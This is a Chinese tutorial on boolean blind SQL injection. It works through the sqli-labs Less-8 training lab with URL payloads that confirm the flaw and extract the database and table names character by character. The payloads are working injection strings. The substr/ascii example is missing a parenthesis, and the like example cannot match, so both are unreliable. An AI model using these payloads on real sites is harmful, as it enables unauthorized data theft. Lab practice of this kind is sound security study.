盲注
盲注表示存在 SQL 注入,但是页面只有正常显示和不显示两种,不会像之前直接显示错误或者数据在页面上。
盲注有三种:
- 布尔盲注
- 延时盲注
- DNSlog 注入
布尔盲注
这一节学习的是布尔盲注:在可以注入的页面,构造判断语句,如果页面正常显示,表示判断是正确的,如果页面非正常显示,表示判断是错误的。
常用方法
- left(a, b):从 a 字符串的左侧截取 b 个字符
- regexp 操作符
- like 操作符
- substr(a, b, c):从 b 位置开始,截取 a 字符的 c 长度
- ascii():将字符转换为 ascii 值
练习
打开 sqli-labs 的 less-8:
-
注入判断
url 后输入 id:?/id=1,页面返回:you are in
输入:?id=1',页面没有返回
输入:?id=1' and '1'='1,页面返回:you are in
输入:?id=1' and '1'='2,页面没有返回
至此基本可以判断页面存在 SQL 注入漏洞,而且页面没有报错信息,但是会根据语句正确与否页面会有不同的反馈,所以可以用盲注。 -
使用布尔盲注测试
- 猜测库名:
输入:?id=1' and left((select database()), 1) = 'a' --+,如果页面没有返回信息,把 a 替换成其他字母,直到页面上返回 you are in,表示库名第一个字符就是那个字母,然后依次这样猜出其他字符 - 当前库的第一张表的第一个字符:
输入:?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1)='a' --+,依旧把 a 替换成字母进行猜测,其他查询语句也是依次类推就不写了
- 其他关键字和方法
- regexp:
?id=1' and left((select database()), 1) regexp '^a' --+ - like:
?id=1' and left((select database()), 1) like 'users%' --+ - substr 和 ascii:
?id=1' and ascii(substr database()), 1, 1))=115 --+
盲注如果使用手工注入的话非常繁琐,如果有兴趣的话可以自己先学习一下如何使用工具进行盲注。
网友评论